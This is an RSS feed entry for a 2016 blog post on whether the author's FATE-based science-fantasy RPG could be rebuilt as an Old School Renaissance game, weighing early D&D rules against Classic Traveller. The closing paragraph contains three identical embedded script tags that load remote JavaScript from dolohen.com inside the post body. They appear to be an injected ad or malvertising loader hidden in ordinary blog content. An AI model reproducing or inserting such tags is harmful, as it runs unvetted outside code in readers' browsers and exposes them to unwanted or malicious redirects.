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	<title>Where Worlds Collide &#187; Old School Renaissance</title>
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		<title>OSR Thoughts</title>
		<link>http://www.kalyr.co.uk/weblog/sf-and-gaming/kalyr-rpg/osr-thoughts/</link>
		<comments>http://www.kalyr.co.uk/weblog/sf-and-gaming/kalyr-rpg/osr-thoughts/#comments</comments>
		<pubDate>Sat, 29 Oct 2016 13:19:34 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Kalyr RPG]]></category>
		<category><![CDATA[Old School Renaissance]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=17030</guid>
		<description><![CDATA[Would the as-yet-unnamed RPG, currently written using a customised version of FATE, work as an OSR-style game? <a href="http://www.kalyr.co.uk/weblog/sf-and-gaming/kalyr-rpg/osr-thoughts/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Here&#8217;s something I never thought I&#8217;d find myself asking, especially when I recall the backlash against Ryan Dancey&#8217;s &#8220;One System To Rule Them All&#8221; at the time of the 3<sup>rd</sup> edition of D&amp;D, when Hasbro&#8217;s stated aim was to drive all other systems but d20 out of the marketplace.</p>
<p>Would my <a href="http://www.kalyr.co.uk/weblog/wp-content/uploads/2016/09/Kalyr-RPG-05-Sep-2016-Draft.pdf">as-yet-unnamed RPG</a>, currently written using a customised version of FATE, work as an OSR-style game?</p>
<p>For those who aren&#8217;t familiar with the term, OSR stands for &#8220;Old School Renaissance&#8221;, and refers primarily to an extended family of games derived from pre-AD&amp;D iterations of Dungeons and Dragons, their publication made possible through the Open Game Licence. Some of these games are simply streamlined versions of early D&amp;D, while others put their own spin on things. <a href="https://www.kickstarter.com/projects/froggodgames/swords-and-wizardry-complete-rulebook-3rd-printing" target="_blank">Swords and Wizardry</a> and <a href="https://www.lotfp.com/RPG/" target="_blank">Lamentations of the Flame Princess</a> are good examples.</p>
<p>On the surface it doesn&#8217;t look like an optimal match, but there are games out there that suggest the old D&amp;D rules can be quite flexible. Will the default class-and-level system support characters who are defined as much by their allegiance to guild and clan as by their abilities? Can you create something that feels like science-fantasy psionics by re-skinning Vancean magic?</p>
<p>Or perhaps when it comes to old-school rules, C<a href="https://en.wikipedia.org/wiki/Traveller_(role-playing_game)" target="_blank">lassic Traveller</a> is a better fit for what&#8217;s essentially a Vancean sword-and-planet setting?<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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